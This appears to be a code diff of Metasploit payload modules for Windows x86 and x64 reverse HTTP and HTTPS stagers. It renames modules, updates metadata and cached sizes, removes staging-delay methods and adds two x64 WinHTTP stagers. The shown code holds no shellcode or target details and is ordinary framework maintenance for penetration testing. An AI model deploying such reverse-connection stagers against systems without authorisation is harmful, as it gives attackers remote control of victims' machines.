@ -3,13 +3,11 @@
|
|||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_https'
|
||||
require 'msf/core/payload/windows/reverse_https'
|
||||
|
||||
|
||||
module Metasploit3
|
||||
module Metasploit4
|
||||
|
||||
CachedSize = 332
|
||||
|
||||
|
@ -19,8 +17,8 @@ module Metasploit3
|
|||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Reverse HTTPS Stager',
|
||||
'Description' => 'Tunnel communication over HTTP using SSL',
|
||||
'Name' => 'Windows Reverse HTTPS Stager (wininet)',
|
||||
'Description' => 'Tunnel communication over HTTPS (Windows wininet)',
|
||||
'Author' => 'hdm',
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'win',
|
||||
|
|
|
@ -3,13 +3,11 @@
|
|||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_http'
|
||||
require 'msf/core/payload/windows/reverse_winhttp'
|
||||
|
||||
|
||||
module Metasploit3
|
||||
module Metasploit4
|
||||
|
||||
CachedSize = 327
|
||||
|
||||
|
@ -23,17 +21,14 @@ module Metasploit3
|
|||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Reverse HTTP Stager (WinHTTP)',
|
||||
'Description' => 'Tunnel communication over HTTP (WinHTTP)',
|
||||
'Author' =>
|
||||
[
|
||||
'hdm',
|
||||
'Borja Merino <bmerinofe[at]gmail.com>'
|
||||
],
|
||||
'Name' => 'Windows Reverse HTTP Stager (winhttp)',
|
||||
'Description' => 'Tunnel communication over HTTP (Windows winhttp)',
|
||||
'Author' => [ 'hdm', 'Borja Merino <bmerinofe[at]gmail.com>' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86,
|
||||
'Handler' => Msf::Handler::ReverseHttp,
|
||||
'Convention' => 'sockedi http'))
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -3,13 +3,11 @@
|
|||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_https'
|
||||
require 'msf/core/payload/windows/reverse_winhttps'
|
||||
|
||||
|
||||
module Metasploit3
|
||||
module Metasploit4
|
||||
|
||||
CachedSize = 347
|
||||
|
||||
|
@ -23,17 +21,14 @@ module Metasploit3
|
|||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Reverse HTTPS Stager (WinHTTP)',
|
||||
'Description' => 'Tunnel communication over HTTP using SSL (WinHTTP)',
|
||||
'Author' =>
|
||||
[
|
||||
'hdm',
|
||||
'Borja Merino <bmerinofe[at]gmail.com>'
|
||||
],
|
||||
'Name' => 'Windows Reverse HTTPS Stager (winhttp)',
|
||||
'Description' => 'Tunnel communication over HTTPS (Windows winhttp)',
|
||||
'Author' => [ 'hdm', 'Borja Merino <bmerinofe[at]gmail.com>' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86,
|
||||
'Handler' => Msf::Handler::ReverseHttps,
|
||||
'Convention' => 'sockedi https'))
|
||||
end
|
||||
|
||||
end
|
||||
|
|
|
@ -4,12 +4,12 @@
|
|||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_https'
|
||||
require 'msf/core/handler/reverse_http'
|
||||
require 'msf/core/payload/windows/x64/reverse_http'
|
||||
|
||||
module Metasploit4
|
||||
|
||||
CachedSize = 513
|
||||
CachedSize = 491
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Windows
|
||||
|
@ -17,8 +17,8 @@ module Metasploit4
|
|||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Windows x64 Reverse HTTP Stager',
|
||||
'Description' => 'Tunnel communication over HTTP (Windows x64)',
|
||||
'Name' => 'Windows x64 Reverse HTTP Stager (wininet)',
|
||||
'Description' => 'Tunnel communication over HTTP (Windows x64 wininet)',
|
||||
'Author' => ['OJ Reeves'],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'win',
|
||||
|
@ -28,17 +28,4 @@ module Metasploit4
|
|||
'Stager' => { 'Payload' => '' }))
|
||||
end
|
||||
|
||||
#
|
||||
# Do not transmit the stage over the connection. We handle this via HTTPS
|
||||
#
|
||||
def stage_over_connection?
|
||||
false
|
||||
end
|
||||
|
||||
#
|
||||
# Always wait at least 20 seconds for this payload (due to staging delays)
|
||||
#
|
||||
def wfs_delay
|
||||
20
|
||||
end
|
||||
end
|
||||
|
|
|
@ -9,7 +9,7 @@ require 'msf/core/payload/windows/x64/reverse_https'
|
|||
|
||||
module Metasploit4
|
||||
|
||||
CachedSize = 545
|
||||
CachedSize = 522
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Windows
|
||||
|
@ -17,8 +17,8 @@ module Metasploit4
|
|||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Windows x64 Reverse HTTPS Stager',
|
||||
'Description' => 'Tunnel communication over HTTP using SSL (Windows x64)',
|
||||
'Name' => 'Windows x64 Reverse HTTP Stager (wininet)',
|
||||
'Description' => 'Tunnel communication over HTTP (Windows x64 wininet)',
|
||||
'Author' => [ 'hdm', 'agix', 'rwincey' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'win',
|
||||
|
@ -28,17 +28,4 @@ module Metasploit4
|
|||
'Stager' => { 'Payload' => '' }))
|
||||
end
|
||||
|
||||
#
|
||||
# Do not transmit the stage over the connection. We handle this via HTTPS
|
||||
#
|
||||
def stage_over_connection?
|
||||
false
|
||||
end
|
||||
|
||||
#
|
||||
# Always wait at least 20 seconds for this payload (due to staging delays)
|
||||
#
|
||||
def wfs_delay
|
||||
20
|
||||
end
|
||||
end
|
||||
|
|
|
@ -0,0 +1,34 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_http'
|
||||
require 'msf/core/payload/windows/x64/reverse_winhttp'
|
||||
|
||||
module Metasploit4
|
||||
|
||||
CachedSize = 502
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Windows
|
||||
include Msf::Payload::Windows::ReverseWinHttp_x64
|
||||
|
||||
def self.handler_type_alias
|
||||
"reverse_winhttp"
|
||||
end
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Windows x64 Reverse HTTP Stager (winhttp)',
|
||||
'Description' => 'Tunnel communication over HTTP (Windows x64 winhttp)',
|
||||
'Author' => [ 'OJ Reeves' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86_64,
|
||||
'Handler' => Msf::Handler::ReverseHttp,
|
||||
'Convention' => 'sockrdi http',
|
||||
'Stager' => { 'Payload' => '' }))
|
||||
end
|
||||
end
|
|
@ -0,0 +1,35 @@
|
|||
##
|
||||
# This module requires Metasploit: http://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
require 'msf/core'
|
||||
require 'msf/core/handler/reverse_https'
|
||||
require 'msf/core/payload/windows/x64/reverse_winhttps'
|
||||
|
||||
module Metasploit4
|
||||
|
||||
CachedSize = 347
|
||||
|
||||
include Msf::Payload::Stager
|
||||
include Msf::Payload::Windows
|
||||
include Msf::Payload::Windows::ReverseWinHttps_x64
|
||||
|
||||
def self.handler_type_alias
|
||||
"reverse_winhttps"
|
||||
end
|
||||
|
||||
def initialize(info = {})
|
||||
super(merge_info(info,
|
||||
'Name' => 'Windows x64 Reverse HTTPS Stager (winhttp)',
|
||||
'Description' => 'Tunnel communication over HTTPS (Windows x64 winhttp)',
|
||||
'Author' => [ 'OJ Reeves' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X86_64,
|
||||
'Handler' => Msf::Handler::ReverseHttps,
|
||||
'Convention' => 'sockrdi https',
|
||||
'Stager' => { 'Payload' => '' }))
|
||||
end
|
||||
|
||||
end
|
Loading…
Reference in New Issue